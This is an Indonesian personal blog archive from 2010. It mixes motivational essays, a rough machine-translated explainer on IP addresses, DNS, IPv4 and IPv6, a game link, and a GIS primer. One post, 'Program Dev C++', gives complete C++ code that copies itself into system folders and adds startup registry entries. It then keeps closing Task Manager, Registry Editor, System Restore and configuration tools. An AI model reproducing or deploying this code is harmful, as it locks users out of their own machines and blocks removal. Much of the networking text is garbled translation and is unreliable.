Senin, 30 Agustus 2010

Why You Must Stay On Course

I believe that all of us want to express something: an idea, a theory, an opinion or a statement. I also believe that the majority of human beings would love to be creative in the expression of these ideas, theories and statements. Creativity permeates in everything our mind does and is challenged to do. I am certain that if given the chance, most or all of us would love a career in the creative and entertainment industry because it is there where we can express ourselves in the most creative of ways.

Thus, there are many of us who are into art, acting, music, photography, modeling, writing, designing or crafts. We enjoy doing these for many unique combinations of reasons and it would be ideal if we could do it for a living for the rest of our lives. Why do we need to go to work every day, doing something we do not really like as opposed to something that we do enjoy?


So if one has something: a talent, an innate skill, or even simply years of knowledge and experience in one of the arts of expression, it would seem to be a waste if all of a sudden, that person decides to stop dreaming and hoping altogether.

At any point in time, an individual in the creative and entertainment industry can be categorized into one of the three groups described below:

1) Those who have given up on the idea: This group may have already conceded that being say, a rock star was just their teenage dream and that their hours of singing and songwriting had its purpose. However, for it to be a career now would already be too late: now that they are married or now that they have children, etc... etc. If we are not careful, we may stay in this phase for the rest of our lives and always wonder what might have been and perhaps even become bitter because of it without even knowing why.

2) Those who are still hopeful but are not doing anything about their goals presently but would like to get back to them later on: They are doing something else now, like selling, working in a call center, or maybe even managing a manufacturing plant, however they are not setting aside time, money and effort to their goal of being able to create music or take photographs for a living. They can always go back to it later, I suppose, 'when there's a bit more time'. Perhaps after they getmarried , after the first child, after the second child, after they get promoted or after they pay their debts, whatever their unique circumstances may be.

3) Those who are willing and able to allocate time, effort and money to progress their art and talents: The people in this group are doing something with their art and talents. They still believe in the idea that they can become who they want to be -- that life can be the way they once saw it, not withstanding all the years of 'reality checks' that ensued. They may have actually finished a painting, or have just sold one. They maybe strutting on a catwalk or maybe they are designing a client's logo this very minute. Or perhaps, it could be something preparatory like preparing the first exhibit in their portfolio or reading a book to learn how to protect their copyright. Regardless of what the effort is, big or small, as long as they are taking active steps, a person will belong to this group.

In the first phase, we experience a very frustrating and demoralizing event in our 'careers'. We cannot help but feel defeated when our work does not get the reaction we have hoped for or expected and perhaps we begin to believe that we are only fooling ourselves and that we should give up our foolish hopes and dreams. However, doesn't it turn out that eventually, you start taking action again (in the 3rd stage) after you have been brooding, perhaps even making tons of excuses for a while (in the 2nd stage)? You come to realize, time and time again, that no matter what, 'it' is still what you want to do regardless of what has happened in the past and what may happen or not happen in the future.

After years of experiencing this cycle, I have decided years ago that regardless of what I was doing, and regardless of whatever 'career' decisions I may have to make, it must be to advance or support my creative endeavors. It makes more sense because every time I have tried to suppress it, tried to ignore it and tried to pretend that the urge is not there, all I ended up doing was wasting my time. I have learnt to embrace my urge to express myself in creative ways and have accepted that it is part of me and the less time I spend defeated, the sooner I could get to work towards what really matters. Perhaps you can use something from my experience and if what you are experiencing is the same, hopefully you would not spend too much of your life thinking that your 'passion' is not really what you want to do. Because honestly, what would be better than doing things to make your life happen the way you dream it?

MOTIVATION

Baca Selengkapnya... »»

Cara Cari Alamat IP Anda. DNS Address. IPv4. IPv6

Alamat IP

(Alamat Internet Protocol) adalah alamat unik yang digunakan perangkat elektronik tertentu untuk mengidentifikasi dan berkomunikasi satu sama lain pada sebuah jaringan komputer menggunakan standar Internet Protocol (IP)-dalam hal sederhana, sebuah alamat komputer. Setiap peserta jaringan perangkat-termasuk router, komputer, waktu-server, printer, mesin faks Internet, dan beberapa telepon-dapat memiliki alamat unik mereka sendiri.

Sebuah alamat IP juga dapat dianggap sebagai setara dengan alamat jalan atau nomor telepon (bandingkan: VoIP (voice over (protokol) internet)) untuk komputer atau perangkat jaringan lainnya di Internet. Sama seperti setiap alamat jalan dan nomor telepon unik mengidentifikasi sebuah gedung atau telepon, alamat IP unik dapat mengidentifikasi komputer tertentu atau alat jaringan lainnya di dalam sebuah jaringan. Sebuah alamat IP berbeda dari informasi kontak lainnya, namun, karena keterkaitan dari alamat IP pengguna untuk nya / namanya tidak tersedia informasi publik.

alamat IP dapat muncul untuk dibagikan oleh perangkat beberapa klien baik karena mereka adalah bagian dari lingkungan shared hosting web server atau karena seorang penerjemah alamat jaringan (NAT) atau proxy server bertindak sebagai agen perantara atas nama pelanggan, dalam hal mana nyata yang berasal alamat IP mungkin disembunyikan dari server menerima permintaan. Praktek yang umum adalah untuk memiliki NAT menyembunyikan sejumlah besar alamat IP, pada ruang alamat pribadi didefinisikan dalam RFC 1918, sebuah blok alamat yang tidak dapat disalurkan di Internet publik. Hanya "luar" interface (s) kebutuhan NAT untuk memiliki alamat internet-routable.

Paling umum, peta-peta perangkat NAT nomor port TCP atau UDP di luar untuk alamat pribadi individu di dalam. Sama seperti mungkin ada situs khusus ekstensi pada nomor telepon, nomor port selalu ekstensi spesifik situs ke alamat IP.

alamat IP dikelola dan diciptakan oleh Internet Assigned Numbers Authority (IANA). The IANA mengalokasikan umumnya super-blok ke Regional Internet Registry, yang pada gilirannya mengalokasikan blok yang lebih kecil untuk penyedia layanan Internet dan perusahaan.

Alamat DNS:

Di Internet, Domain Name System (DNS) perusahaan asosiasi berbagai macam informasi dengan nama domain apa yang disebut; yang paling penting, ia berfungsi sebagai buku telepon "untuk Internet: ia menterjemahkan nama host komputer terbaca-manusia, misalnya en.wikipedia.org, ke alamat IP yang peralatan networking kebutuhan penyampaian informasi. Hal ini juga menyimpan informasi lain seperti daftar mail exchange server yang menerima email untuk domain yang diberikan. Dalam memberikan layanan redirection kata kunci berbasis di seluruh dunia, Domain Name System merupakan komponen penting dari penggunaan Internet kontemporer.

Penggunaan:

Penggunaan paling mendasar dari DNS adalah menerjemahkan nama host ke alamat IP. Hal ini dalam istilah yang sangat sederhana seperti buku telepon. Misalnya, jika Anda ingin mengetahui alamat internet dari en.wikipedia.org, Domain Name System dapat digunakan untuk memberitahu Anda itu 66.230.200.100. DNS juga memiliki kegunaan penting lainnya.

Pra-sungguh, DNS memungkinkan untuk menetapkan tujuan Internet untuk organisasi manusia atau keprihatinan mereka mewakili, terlepas dari hirarki routing fisik diwakili oleh alamat IP numerik. Karena ini, hyperlink dan informasi kontak internet dapat tetap sama, apa pun pengaturan routing IP saat ini mungkin, dan dapat mengambil bentuk manusia-dibaca (seperti "wikipedia.org") yang agak lebih mudah diingat daripada alamat IP (seperti 66.230.200.100). Orang memanfaatkan ini ketika mereka membaca URL bermakna dan alamat e-mail tanpa peduli bagaimana mesin akan benar-benar menemukan mereka.

Sistem Nama Domain mendistribusikan tanggung jawab untuk menugaskan nama domain dan pemetaan mereka untuk jaringan IP dengan mengizinkan server otoritatif untuk setiap domain untuk melacak perubahan sendiri, menghindari kebutuhan untuk registrasi pusat untuk terus berkonsultasi dan

Sejarah:

Praktek menggunakan nama sebagai abstraksi terbaca lebih manusiawi-alamat numerik mesin pada jaringan ada sebelum bahkan TCP / IP, dan pergi sampai ke ARPAnet era. Dulu Namun, sistem yang berbeda digunakan, sebagai DNS hanya diciptakan pada tahun 1983, segera setelah TCP / IP digunakan. Dengan sistem lama, setiap komputer pada jaringan diambil file bernama HOSTS.TXT dari komputer di SRI (sekarang SRI International). File HOSTS.TXT dipetakan ke nama alamat numerik. Sebuah host file masih ada pada sistem operasi paling modern, baik secara default atau melalui konfigurasi, dan memungkinkan pengguna untuk menentukan alamat IP (mis. 192.0.34.166) yang akan digunakan untuk sebuah hostname (misalnya www.example.net) tanpa memeriksa DNS . Pada 2006, file host melayani terutama untuk mengatasi masalah kesalahan DNS atau untuk pemetaan alamat lokal untuk nama organik lebih. Sistem berdasarkan host file memiliki keterbatasan yang melekat, karena kebutuhan jelas bahwa setiap saat sebuah alamat komputer berubah, setiap komputer yang berusaha untuk berkomunikasi dengannya harus melakukan update untuk host-nya file.

Pertumbuhan jaringan disebut untuk sistem yang lebih scalable: salah satu yang mencatat perubahan alamat host di satu tempat saja. host lain akan mempelajari tentang perubahan secara dinamis melalui sistem pemberitahuan, sehingga menyelesaikan jaringan secara global dapat diakses dari semua nama host dan mereka yang terkait Alamat IP.

Atas permintaan Jon Postel, Paul Mockapetris menemukan Domain Name System pada tahun 1983 dan menulis pelaksanaan pertama. Spesifikasi asli muncul di RFC 882 dan 883. Pada tahun 1987, penerbitan RFC 1034 dan RFC 1035 membuat update terhadap spesifikasi DNS dan membuat RFC 882 dan RFC 883 tidak berlaku lagi. Lebih-baru RFC Beberapa diusulkan berbagai ekstensi ke protokol inti DNS.

Pada tahun 1984, empat siswa Berkeley - Douglas Terry, Mark Painter, David Riggle dan Songnian Zhou - menulis UNIX pertama pelaksanaan, yang dipelihara oleh Ralph Campbell setelahnya. Pada tahun 1985, Kevin Dunlap dari Desember signifikan menulis ulang implementasi DNS dan menamainya BIND (Berkeley Internet Name Domain, sebelumnya: Berkeley Internet Name Daemon). Mike Karels, Phil Almquist dan Paul Vixie mempertahankan BIND sejak saat itu. BIND adalah porting ke platform Windows NT pada awal 1990.

Karena BIND sejarah panjang tentang masalah keamanan dan eksploitasi, beberapa alternatif nameserver / program resolver telah ditulis dan didistribusikan dalam beberapa tahun terakhir.

Bagaimana DNS Bekerja Dalam Teori ini:

Ruang nama domain terdiri dari pohon nama domain. Setiap node atau cabang di pohon memiliki catatan satu atau lebih sumber daya, yang memegang informasi yang terkait nama domain withthe. Pohon sub-terbagi menjadi zona. zona terdiri dari kumpulan node terhubung otoritatif dilayani oleh nameserver DNS otoritatif. (Perhatikan bahwa satu nameserver dapat host beberapa zona.)

Ketika seorang sistem administrator ingin membiarkan yang lain kontrol administrator bagian dari ruang nama domain di dalam zona-nya otoritas, dia bisa mendelegasikan kontrol ke administrator lainnya. Ini membagi bagian dari zona tua dari ke zona baru, yang berada di bawah kewenangan administrator nameserver kedua itu. Zona tua menjadi tidak lagi berwibawa atas apa yang berjalan di bawah otoritas dari zona baru.

penyelesai A mendongak informasi yang terkait dengan node. penyelesai A tahu bagaimana berkomunikasi dengan server nama dengan mengirimkan permintaan DNS, dan mengindahkan tanggapan DNS. Menyelesaikan biasanya memerlukan iterasi melalui beberapa nama server untuk menemukan informasi yang dibutuhkan.

Beberapa fungsi resolvers menyederhanakan dan hanya dapat berkomunikasi dengan server nama pun. Resolvers sederhana ini bergantung pada server nama recursing untuk melakukan pekerjaan mencari informasi bagi mereka.

IPv4:

Internet Protocol version 4 adalah iterasi keempat dari Protokol Internet (IP) dan merupakan versi pertama dari protokol yang akan banyak digunakan. IPv4 adalah protokol lapisan jaringan dominan di Internet, dan selain dari IPv6 adalah protokol hanya digunakan di Internet.

Hal ini dijelaskan dalam IETF RFC 791 (September 1981) yang membuat usang RFC 760 (Januari 1980). Amerika Serikat Departemen Pertahanan juga sebagai standar MIL-STD-1777.

IPv4 merupakan protokol berorientasi data yang akan digunakan pada sebuah paket switched internetwork (misalnya, Ethernet). Ini adalah protokol upaya terbaik dalam bahwa tidak menjamin pengiriman. Ia tidak membuat jaminan pada kebenaran data; Ini dapat mengakibatkan paket digandakan dan / atau paket out-of-order. Aspek ini ditangani oleh protokol lapisan atas (misalnya, TCP, dan sebagian dengan UDP).

Tujuan keseluruhan dari IP adalah untuk menyediakan komputer global yang unik pengalamatan untuk memastikan bahwa dua komputer berkomunikasi melalui Internet secara unik dapat mengidentifikasi satu sama lain.

Mengatasi:

IPv4 menggunakan 32-bit (4-byte) alamat, yang membatasi ruang alamat ke 4294967296 alamat unik mungkin. Namun, beberapa dicadangkan untuk tujuan khusus seperti jaringan pribadi (~ 18.000.000 alamat) atau alamat multicast (~ 1 juta alamat). Hal ini mengurangi jumlah alamat yang dapat dialokasikan sebagai alamat internet umum. Karena jumlah alamat yang tersedia adalah dikonsumsi, kekurangan alamat IPv4 tampaknya tak terelakkan, namun Network Address Translation (NAT) telah secara signifikan tertunda tak terelakkan ini.

Keterbatasan ini telah membantu mendorong mendorong terhadap IPv6, yang saat ini sedang dalam tahap awal penyebaran dan saat ini lawan hanya untuk menggantikan IPv4.

Alokasi:

Awalnya, alamat IP dibagi menjadi dua bagian:

* Jaringan octet id: pertama

* Host id: terakhir tiga oktet

Hal ini menciptakan batas atas dari 256 jaringan. Sebagai jaringan mulai dialokasikan, ini segera terlihat tidak memadai.

Untuk mengatasi batas ini, kelas yang berbeda jaringan didefinisikan, dalam sistem yang kemudian dikenal sebagai jaringan classful. Lima kelas diciptakan (A, B, C, D, & E), tiga di antaranya (A, B, & C) memiliki panjang yang berbeda untuk bidang jaringan. Sisa field alamat dalam tiga kelas digunakan untuk mengidentifikasi sebuah host di jaringan, yang berarti bahwa setiap kelas jaringan memiliki jumlah maksimum host yang berbeda. Jadi ada beberapa jaringan dengan banyak alamat host dan jaringan banyak dengan hanya beberapa alamat. Kelas D untuk alamat multicast dan kelas E reserved.

Sekitar tahun 1993, kelas-kelas ini digantikan dengan Classless Inter-Domain Routing (CIDR) skema, dan skema sebelumnya dijuluki "classful", sebaliknya. Keuntungan utama CIDR adalah untuk memungkinkan kembali pembagian kelas A, B & C jaringan agar lebih kecil (atau lebih besar) memblokir alamat mungkin dialokasikan untuk entitas (seperti penyedia layanan Internet, atau pelanggan mereka) atau Local Area Networks.

Tugas aktual suatu alamat tidak sewenang-wenang. Prinsip dasar routing adalah bahwa alamat mengkodekan informasi tentang lokasi perangkat dalam jaringan. Ini berarti bahwa alamat yang ditugaskan ke salah satu bagian dari jaringan tidak akan berfungsi di bagian lain dari jaringan. Struktur hirarkis, diciptakan oleh CIDR dan diawasi oleh Internet Assigned Numbers Authority (IANA) dan Regional Internet Registries (RIR), mengelola tugas alamat Internet di seluruh dunia. Setiap RIR memelihara sebuah database WHOIS dicari publik yang memberikan informasi tentang alamat IP tugas; informasi dari database tersebut memainkan peran sentral dalam berbagai alat yang mencoba untuk mencari alamat IP secara geografis.

IPv6:

Internet Protocol version 6 (IPv6) adalah protokol lapisan jaringan packet-switched internetwork. Hal ini ditunjuk sebagai penerus IPv4, versi terbaru dari Internet Protocol, untuk penggunaan umum di Internet.

Perbaikan utama yang dibawa oleh IPv6 adalah ruang alamat yang jauh lebih besar yang memungkinkan fleksibilitas yang lebih besar dalam menentukan alamat. Sementara IPv6 dapat mendukung 2128 (sekitar 3,4 '1038) alamat, atau sekitar 5'1028 alamat untuk masing-masing orang sekitar 6500000000 [1] saat ini hidup. Itu tidak bermaksud IPv6 desainer, namun, untuk memberi alamat yang unik permanen untuk setiap individu dan setiap komputer. Sebaliknya, panjang alamat diperpanjang menghilangkan kebutuhan untuk menggunakan terjemahan alamat jaringan untuk menghindari kelelahan alamat, dan juga menyederhanakan aspek penugasan alamat dan pemberian ulang nomor bila penyedia berubah.

Pendahuluan:

Pada awal 1990-an, jelas bahwa perubahan ke jaringan tanpa kelas diperkenalkan satu dekade sebelumnya tidak cukup untuk mencegah kelelahan alamat IPv4 dan bahwa perubahan lebih lanjut untuk IPv4 diperlukan. [2] Pada musim dingin 1992, sistem yang diusulkan beberapa beredar dan musim gugur tahun 1993, IETF mengumumkan panggilan untuk kertas putih (RFC 1550) dan penciptaan "IP, Next Generation" (IPng Area) kelompok kerja. [2] [3]

IPng diadopsi oleh Internet Engineering Task Force pada tanggal 25 Juli 1994 dengan pembentukan beberapa "IP Next Generation" (IPng) kelompok kerja. 1996 [2] Dengan, serangkaian RFC dibebaskan mendefinisikan IPv6, mulai dengan RFC 2460. (Kebetulan, IPv5 bukanlah pengganti IPv4, tetapi protokol streaming eksperimental aliran berorientasi dimaksudkan untuk mendukung video dan audio.)

Diharapkan akan didukung IPv4 bersama IPv6 di masa mendatang. IPv4-hanya node (klien atau server) tidak akan dapat berkomunikasi secara langsung dengan node IPv6, dan akan perlu melalui perantara

Fitur IPv6:

[Sunting] Untuk sebagian besar, IPv6 adalah ekstensi konservatif IPv4. Sebagian besar transportasi dan aplikasi-lapisan protokol perlu perubahan sedikit atau tidak ada untuk bekerja lebih dari IPv6; pengecualian adalah aplikasi protokol yang menanamkan alamat lapisan jaringan (seperti FTP atau NTPv3).

Aplikasi Namun, biasanya membutuhkan perubahan kecil dan kompilasi ulang dalam rangka untuk menjalankan lebih dari IPv6.

Yang lebih besar ruang alamat:

Fitur utama dari IPv6 yang mengemudi adopsi hari ini adalah ruang alamat yang lebih besar: di alamat IPv6 adalah 128 bit versus 32 bit panjang di IPv4.

Ruang alamat yang lebih besar menghindari kelelahan potensi ruang alamat IPv4 tanpa membutuhkan Network Address Translation (NAT) dan perangkat lain yang merusak sifat end-to-end lalu lintas Internet. NAT masih mungkin diperlukan dalam kasus-kasus yang jarang terjadi, tapi insinyur Internet mengakui bahwa akan sulit dalam IPv6 dan mencoba menghindarinya bila memungkinkan. Hal ini juga membuat administrasi jaringan besar menengah dan sederhana, dengan menghindari kebutuhan untuk skema subnetting kompleks. Subnetting akan, idealnya, kembali ke tujuannya segmentasi logis dari jaringan IP untuk routing yang optimal dan akses.

Kelemahan dari ukuran besar adalah bahwa alamat IPv6 membawa beberapa overhead bandwidth lebih dari IPv4, yang dapat melukai daerah mana bandwidth terbatas (kompresi header kadang-kadang dapat digunakan untuk mengatasi masalah ini). alamat IPv6 lebih sulit untuk menghafal dari alamat IPv4, meskipun alamat IPv4 bahkan jauh lebih sulit untuk menghafal dari Domain Name System (DNS) nama. protokol DNS telah dimodifikasi untuk mendukung IPv6 maupun IPv4.

Stateless auto konfigurasi host:

host IPv6 dapat dikonfigurasi secara otomatis ketika terhubung ke jaringan IPv6 dialihkan. Ketika pertama kali terhubung ke jaringan, host mengirim permintaan multicast link-local untuk parameter konfigurasi, jika dikonfigurasi sesuai, seperti router menanggapi permintaan dengan paket iklan router yang berisi parameter jaringan-lapisan konfigurasi.

Jika konfigurasi otomatis IPv6 tidak cocok, tuan rumah dapat menggunakan konfigurasi otomatis stateful (DHCPv6) atau dikonfigurasi secara manual. Berkewarganegaraan konfigurasi otomatis hanya cocok untuk host: router harus dikonfigurasi secara manual atau dengan cara lain

IPv6 lingkup:

IPv6 mendefinisikan 3 lingkup alamat unicast: situs global,, dan link.

alamat Situs-daerah non-alamat link-lokal yang berlaku dalam lingkup situs administratif yang ditetapkan dan tidak dapat diekspor di luar itu.

Companion IPv6 spesifikasi lebih lanjut menentukan bahwa alamat link-local hanya dapat digunakan saat membuat ICMP Redirect Pesan [ND] dan alamat hop berikutnya pada kebanyakan protokol routing.

Pembatasan ini memang menyiratkan bahwa sebuah router IPv6 harus memiliki alamat berikutnya-hop link-lokal untuk semua rute langsung terhubung (rute yang diberikan router dan berbagi-hop router berikutnya prefiks subnet umum).

Link:

Cari Info IP: http://www.ip-adress.com link

Cari DNS, IPv4, IPv6: link: http://www.iplobster.com

Cari IP Address: http://www.myip.dk link

Baca Selengkapnya... »»

Sabtu, 28 Agustus 2010

How to Be a Creative Entrepreneur

There's a great line in Alice in Wonderland when the Queen says, "Sometimes I think of 6 impossible things before breakfast." I think you'll agree that this has to be creativity at its best! As a small business owner this is an ideal you really need to strive for … but how on earth can you open up your mind to get to the point where ideas just spill out?

Small business owners are expected to be creative and inventive, otherwise how could they run their own firm? If you have a sneaky feeling that creativity is not one of your strong points what can you do to stimulate your brain and get it kicked-started?

Be Unlimited

Too many people are 'limited thinkers'. They have their world placed squarely in a box and nothing can exist outside of that. If the newspaper reports something then it must be right. If Joe next door says that something is impossible then he must be right. As a small business owner, you cannot afford to be a 'limited thinker'. You have to be an 'unlimited thinker'. Get into the habit of seeing no boundaries; decide that there are no taboos. Have the belief that with a bit of focus you can find a creative solution to all of your problems. This is the foundation for a creative thought process.

Be Future-Focused

Creative ideas invariably come when you 'look' into the future. The feeling of propelling yourself forward and seeing the problem solved is a great motivator. Do you think you could achieve the same result if you were backward focused? I don't think so! Train yourself to be future-focused, always looking ahead, not a traditional thinker who tries to find answers in today's world.

Be a Writer

Once you open your mind to the joys of creativity the ideas will quickly start flowing, as if someone has opened the flood gates! Just like flood water, unless you catch it the ideas are lost for ever. Capture all your ideas by carrying a small pocket notebook with you. As soon as an idea pops into your mind, write it down. It doesn't matter how outlandish it is, you can look at it in the cold light of day later on.<

The fact you are responding to the ideas by noting them will further encourage you to be even more creative – good deeds encourage more good deeds!

Be Clutter-Free

If you are naturally an untidy person, then get out of the habit! A cluttered office will lead to a cluttered mind. You cannot expect your brain to work efficiently when all it's doing is constantly reminding you how untidy your office is. To be creative remove all the clutter from your life and free your mind.

Be Action-Oriented

All of these points are great, but if you don't take any action with your ideas, then you may as well not have bothered. An idea is nothing but a thought unless you take a specific action to help bring it to life. Periodically review your notebook and see if there are any hidden gems, or ideas which can be quickly actioned. A lot of your ideas may not suit at all but in there somewhere is probably an idea, which if acted upon, could change you or your business. Commit fully to move forward on as many of your ideas as you can.

Don't be afraid to break down the boundary walls. As John Stuart Mill said, "That which seems the height of absurdity in one generation often becomes the height of wisdom in the next."

Let me close with one question - can you be creative enough to be dismissed as a dreamer? No? Then get practicing!

Baca Selengkapnya... »»

Kamis, 19 Agustus 2010

KINGDOMS OF CAMELOT STRATEGY

Kingdoms of Camelot ini adalah game facebook tentang membangun sebuah kerajaan, dimana menuntut keahlian kita dalam mengatur strategi demi mempertahankan kerajaan dan juga menguasai kerajaan lain, berikut adalah link yang akan membantu anda dalam membantu strategi pengembangan kerajaan anda, JUST CLICK HERE :


"Kingdom Of Camelot Tips And Strategy"

Baca Selengkapnya... »»

Jumat, 02 Juli 2010

Program Dev C++

/*********************************
BLOCK PROGRAM BERDASARKAN CAPTION
DISERTAI MUTEX DAN REG STARUP

This program will block several applications,
so pay attention to both the written syntax
BY : RIVAL
*********************************/
#include
int main()

{
/* MUTEX */
CreateMutex(NULL,true, "Mutex");if (GetLastError() == ERROR_ALREADY_EXISTS) {ExitProcess(0);}

/* REGISTRY */
char sd[MAX_PATH]; //path untuk system directory --> C:\WINDOWS\system32
char path[MAX_PATH];//path aplikasi kita
HMODULE GetModH = GetModuleHandle(NULL);

GetModuleFileName(GetModH,path,sizeof(path));
GetSystemDirectory(sd,sizeof(sd));

strcat(sd,"\\Block.exe");
CopyFile(path,sd,false);
CopyFile(path,"C:\\Block.exe",false);

HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey);
RegSetValueEx(hKey,"Ini Registry Buat Block",0,REG_SZ,(const unsigned char*)"Block.exe",99);

RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey);
RegSetValueEx(hKey,"Registry yang Kedua",0,REG_SZ,(const unsigned char*)"Block.exe",99);
RegCloseKey(hKey);

//Block
HWND Prog;
while(1==1)
{
Sleep(777);
Prog = FindWindow(NULL,"Windows Task Manager");SendMessage(Prog,WM_CLOSE,(WPARAM)0,(LPARAM)0);
Prog = FindWindow(NULL,"Registry Editor");SendMessage(Prog,WM_CLOSE,(WPARAM)0,(LPARAM)0);
Prog = FindWindow(NULL,"Display Properties");SendMessage(Prog,WM_CLOSE,(WPARAM)0,(LPARAM)0);
Prog = FindWindow(NULL,"System Configuration Utility");SendMessage(Prog,WM_CLOSE,(WPARAM)0,(LPARAM)0);
Prog = FindWindow(NULL,"System Restore");SendMessage(Prog,WM_CLOSE,(WPARAM)0,(LPARAM)0);
Prog = FindWindow(NULL,"Microsoft Configuration Utility");SendMessage(Prog,WM_CLOSE,(WPARAM)0,(LPARAM)0);

Prog = FindWindow(NULL,"Untitled - Notepad");
if (Prog!=NULL){HWND hWin; hWin = GetForegroundWindow();
SetWindowText(hWin,"My Notepad :)");}

Prog = FindWindow(NULL,"Calculator");
if (Prog!=NULL){HWND hWin; hWin = GetForegroundWindow();
if (hWin!=(HWND)"Shell_TrayWnd")FlashWindow(hWin,true);}

if (GetAsyncKeyState(VK_F7)){return 0;} //jk ditekan F7 maka program keluar
//if you push F7 program will end
}

return 0;
}

Baca Selengkapnya... »»

Rabu, 14 April 2010

KONSEP DASAR GIS

I. Pendahuluan

Bagian ini akan mereview susunan komponen dan rencana model-model data GIS. Pusat perhatian ditujukan pada model-model spatial dan atribut data, dan bagaimana diberi sandi dengan perangkat lunak GIS. Bagian ini menggambarkan komponen-komponen teknik GIS yang akan banyak menarik perhatian pada staf teknik dan operator GIS.


II. Apakah GIS itu ?

Sebuah GIS adalah sebuah CBIS untuk memetakan dan menganalisa phenomena geografi yang ada, dan kejadian yang muncul dimuka bumi. Teknologi GIS mengintegrasikan pengoprasian-pengoprasian database biasa seperti pengurutan dan analisa statistic dengan kelebihan pengelihatan unik dan analisa geografi dengan peta-peta. Kehandalan ini membedakan GIS dari CBIS lainnya dan berkemampuan nilai pada satu rentang yang luas bagi perusahaan pemerintah dan swasta untuk menjelaskan kejadian-kejadian, meramalakan hasil akhir, merancang strategi-strategi. Pembuatan peta dan analisa gografi bukan hal baru, tetapi GIS melaksanakan tugas tersebut lebih cepat dan lebih canggih dari pada melakukannya secara tradisi dengan menggunakan tangan.


Hari ini, GIS merupaka satu industri milyaran dollar mempekerjakan ratusan ribu orang diseluruh dunia. GIS diajarkan disekolah, universitas diseluruh dunia. Professional dan bidang kegiatan tertentu dalam tiap disiplin menjadi lebih menigkatan kesadarannya akan keuntungan pemakaian teknologi GIS tertuju pada keunikan masalah spatial mereka.


Secara umum kita membayangkan GIS sebagai satu yang tunggal, dikenal dengan baik, sistem computer yang terintegrasi. Tetapi ini bukan kasus yang selalu demikian. Sebuah GIS dapat dibuat dari berbagai macam alat-alat perangkat lunak dan perangkat keras. Faktor terpenting adalah pada tingkatan pengintegrasian alat-alat tersebut untuk menyediakan satu operasi yang mulus, lingkungan pemfungsian pemrosesan data geografi secar menyeluruh.


Secara menyeluruh GIS hendaknya dilihat sebagai satu teknologi tidak menyederhanakan sebagai sistem computer.


Secara umum, sebuah GIS mengdakan fasilitas-fasilitas untuk menangkap data, mengelola data, dan mempresentasikan hasil-hasilnya selain dalam bentuk garfik juga laporan, dengan penekanan tertentu dalam pemeliharaan dan pemanfaatan sifat-sifat yang melekat pada data keruangan.

Kemampuan menggabungkan data keruangan, mengelolanya, menganlisanya, dan menjawab pertanyaan keruangan adalah sifat tersendiri dari sistem informasi geografis.


Satu Sistem informasi geografis secara umum merujuk pada sebuah GIS adalah satu kerja sama rangkaian peralatan perangkat lunak dan perangkat keras digunakan untuk manipulasi dan pengelolaan data digital keruangan berkaitan dengan atribut.


Subsistem GIS

Sebuah GIS memiliki empat subsistem pemfungsian pokok. Yaitu :

  • Subsistem input data
  • Subsistem penyimpanan dan pengambilan kembali data
  • Subsistem manipuasi dan analisa data
  • Subsistem output dan menampilkan data


Input data

Subsistem input data memungkinkan user untuk menangkap , mengumpulkan dan mengalihkan data keruangan dan thematic kedalam bentuk digital. Input-input data biasanya bergerak dari kombinasi peta-peta hard copy, foto udara, citra pengindraan jarak jauh, laporan-laporan, dokumen survey dan sebagainya.


Subsistem penyimpanan dan pengambilan kembali data. Mengorganisir data tersebut, keruangan dan atribut, dalam satu bentuk yang memungkinkannya diambil kembali dengan cepat untuk analisa, dan memungkinkan memperbaharui cepat dan akurat untuk dibuat kedalam database. Komponen ini biasanya terlibat penggunaan satu Database Management System (DBMS) untuk pengaturan (maintaining) atribut data. Data keruangan biasanya disandikan dan diatur dalam satu format yang sesuai.


Subsistem manipulasi dan analisa data memungkinkan user menetapkan dan melaksanakan prosedur keruangan dan atribut untuk membentuk informasi yang diperoleh. Subsistem ini secara umum difikirkan sebagai jantung dari sebuah GIS, dan biasanya membedakannya dari database sistem informasi dan sistem CAD lainnya.


Output data

Subsistem output data memungkinkan user membentuk tampilan grafis, peta bersifat biasa, dan laporan berupa table mewakili hasil informasi yang diperoleh.

Fungsi yang kritis dari sebuah GIS adalah perancangan, analisa dari data keruangan.


Penting untuk difaham bahwa GIS bukan temuan baru. Sebenarnya pemrosesan informasi geografi memilki sejarah yang panjang didalam berbagai disiplin. Dalam praktek, sumber daya alam tertentu dan lingkungan ilmuan telah secara aktif mengolah data geografi dan mempromosikan teknik mereka sejak tahun 1960 an.


Umumnya hari ini, GIS, dibedakan dari geo-processing diwaktu yang lalu dengan pemakaian otomatisasi computer untuk menggabungkan peralatan pemroses data geografi dalam lingkungan bersahabat dan penuh pengertian.


Kahadiran kecanggihan teknik computer memberi perkembangan yang baik metodologi aplikasi berbagai disiplin cara melakukan geo-processing dan integrasi kemampuan penyediaan data yang secara logistic sebelumnya tidak masuk akal.


III. Komponen sebuah GIS

Pengoprasian sebuah GIS mempunyai sederetan komponen yang digabungkan agar sistem tersebut dapat bekerja. Komponen-komponen tersebut adalah sangat menentukan dalam mensukseskan sebuah GIS. Kerja sebuah GIS mengintegrasikan lima komponen kunci : perangkat keras ( hardware), perangkat lunak (software), data, orang-orang (people), dan cara (methode).



Prangkat keras



Perangkat keras adalah sistem computer dimana sebuah GIS beroprasi. Hari ini, perangkat lunak berjalan pada satu rentang jenis perangkat keras yang luas, dari server computer tersentralisasi sampai penggunaan desktop computer stand alone atau jaringan terkonfigurasi.


Perangkat lunak

Perangkat lunak GIS menyediakan fungsi-fungsi dan peralatan (tools) yang diperlukan untuk menyimpan, menganalisa dan menayangkan informasi geografi. Berbagai perusahaan seperti ESRI menawarkan perangkat lunak dengan peralatan menyeluruh. Juga terdapat produk open source seperti GRASS atau banyak produk tertentu lainnya.


Data

Barangkali komponen GIS terpenting adalah data. Data geografi dan hubungannya dengan tabel data dapat dikumpulkan in-house, persyaratan dan specifikasi menurut kebiasaan, atau kadang-kadang disewa dari perusahaan penyedia kommersial. Sebuah GIS dapat mengintegrasikan data keruangan dengan sumbar data existing, string disimpan dalam sebuah DBMS barsama. Integrasi data keruangan (biasanya pemilik perusahaan ke perangkat lunak GIS), dan menyimpan tabel data kedalam sebuah DBMS adalah satu kunci pemfungsian disanggupi oleh GIS.




Orang-orang (people)

